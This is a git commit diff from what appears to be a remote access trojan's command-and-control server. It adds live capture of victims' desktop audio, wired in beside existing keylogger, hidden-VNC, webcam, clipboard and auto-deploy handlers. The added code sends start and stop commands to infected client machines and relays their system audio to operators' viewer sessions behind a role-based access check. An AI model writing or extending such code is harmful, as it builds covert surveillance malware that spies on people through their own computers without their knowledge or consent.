desktop audio and switches to turn up/down audio

This commit is contained in:
KingKDot
2026-04-16 17:19:56 -05:00
parent df95ea4771
commit 135091f6fa
15 changed files with 818 additions and 12 deletions
@@ -44,6 +44,7 @@ type WsLifecycleDeps = {
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleDesktopAudioViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleChatViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
handleChatViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
@@ -55,6 +56,7 @@ type WsLifecycleDeps = {
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleDesktopAudioViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
@@ -79,12 +81,14 @@ type WsLifecycleDeps = {
handlePluginEvent: (clientId: string, payload: any) => void;
handleNotification: (clientId: string, payload: any) => void;
handleVoiceUplink: (clientId: string, payload: any) => void;
handleDesktopAudioUplink: (clientId: string, payload: any) => void;
handleWebcamDevices: (clientId: string, payload: any) => void;
handleHVNCCloneProgress: (clientId: string, payload: any) => void;
handleHVNCLookupResult: (clientId: string, payload: any) => void;
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
handleClipboardContent: (clientId: string, payload: any) => void;
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
@@ -153,6 +157,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
if (role === "desktop_audio_viewer") return deps.handleDesktopAudioViewerOpen(ws);
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
if (role === "chat_viewer") return deps.handleChatViewerOpen(ws);
@@ -204,6 +209,7 @@ export async function handleWebSocketMessage(
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
if (socketRole === "desktop_audio_viewer") return deps.handleDesktopAudioViewerMessage(ws, message);
if (socketRole === "notifications_viewer") return;
if (socketRole === "dashboard_viewer") return;
if (socketRole === "chat_viewer") return deps.handleChatViewerMessage(ws, message);
@@ -578,6 +584,9 @@ export async function handleWebSocketMessage(
case "voice_uplink":
deps.handleVoiceUplink(client.id, payload);
break;
case "desktop_audio_uplink":
deps.handleDesktopAudioUplink(client.id, payload);
break;
case "webcam_devices":
deps.handleWebcamDevices(client.id, payload);
break;
@@ -736,6 +745,11 @@ export function handleWebSocketClose(
return;
}
if (role === "desktop_audio_viewer") {
deps.cleanupDesktopAudioViewer(ws);
return;
}
if (role === "notifications_viewer") {
if (sessionId) {
sessionManager.deleteNotificationSession(sessionId);
@@ -247,6 +247,26 @@ export async function handleWsUpgradeRoutes(
return new Response("Upgrade failed", { status: 500 });
}
const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/);
if (desktopAudioMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role === "viewer") {
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
}
const clientId = desktopAudioMatch[1];
const denied = checkOperatorAccess(user, clientId, "voice");
if (denied) return denied;
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
}
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
const user = await authenticateRequest(req);
if (!user) {
@@ -0,0 +1,117 @@
import type { ServerWebSocket } from "bun";
import { v4 as uuidv4 } from "uuid";
import * as clientManager from "../clientManager";
import { encodeMessage } from "../protocol";
import * as sessionManager from "../sessions/sessionManager";
import type { DesktopAudioViewer, SocketData } from "../sessions/types";
import { canUserAccessClient } from "../users";
function sendDesktopAudioCommand(
clientId: string,
commandType: "desktop_audio_start" | "desktop_audio_stop",
payload: Record<string, unknown>,
) {
const target = clientManager.getClient(clientId);
if (!target) return false;
try {
target.ws.send(
encodeMessage({
type: "command",
commandType: commandType as any,
id: uuidv4(),
payload,
}),
);
return true;
} catch {
return false;
}
}
function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
try {
ws.send(JSON.stringify(payload));
} catch {
}
}
export function handleDesktopAudioViewerOpen(ws: ServerWebSocket<SocketData>) {
const { clientId, userId, userRole } = ws.data;
if (userId !== undefined && userRole && !canUserAccessClient(userId, userRole as any, clientId)) {
ws.close(1008, "Forbidden: client access denied");
return;
}
const sessionId = uuidv4();
ws.data.sessionId = sessionId;
const target = clientManager.getClient(clientId);
const session: DesktopAudioViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
sessionManager.addDesktopAudioSession(session);
safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
if (!target) {
safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
return;
}
safeJson(ws, { type: "status", status: "ready" });
}
export function handleDesktopAudioViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
const { clientId } = ws.data;
if (typeof raw === "string") {
try {
const message = JSON.parse(raw);
if (message?.type === "start") {
const source = typeof message?.source === "string" ? message.source : "system";
const started = sendDesktopAudioCommand(clientId, "desktop_audio_start", {
source,
sessionId: ws.data.sessionId,
});
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
return;
}
if (message?.type === "stop") {
sendDesktopAudioCommand(clientId, "desktop_audio_stop", {});
safeJson(ws, { type: "status", status: "disconnected" });
}
} catch {
}
return;
}
}
export function handleDesktopAudioUplink(clientId: string, payload: any) {
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const bytes = payload?.data instanceof Uint8Array
? payload.data
: payload?.data instanceof ArrayBuffer
? new Uint8Array(payload.data)
: ArrayBuffer.isView(payload?.data)
? new Uint8Array(payload.data.buffer)
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) {
if (sessionId && session.id !== sessionId) continue;
try {
session.viewer.send(bytes);
} catch {
}
}
}
export function cleanupDesktopAudioViewer(ws: ServerWebSocket<SocketData>) {
let removedClientId = ws.data.clientId;
for (const [sid, session] of sessionManager.getAllDesktopAudioSessions().entries()) {
if (session.viewer === ws) {
removedClientId = session.clientId;
sessionManager.deleteDesktopAudioSession(sid);
break;
}
}
const hasViewers = sessionManager.getDesktopAudioSessionsByClient(removedClientId).length > 0;
if (!hasViewers) {
sendDesktopAudioCommand(removedClientId, "desktop_audio_stop", {});
}
}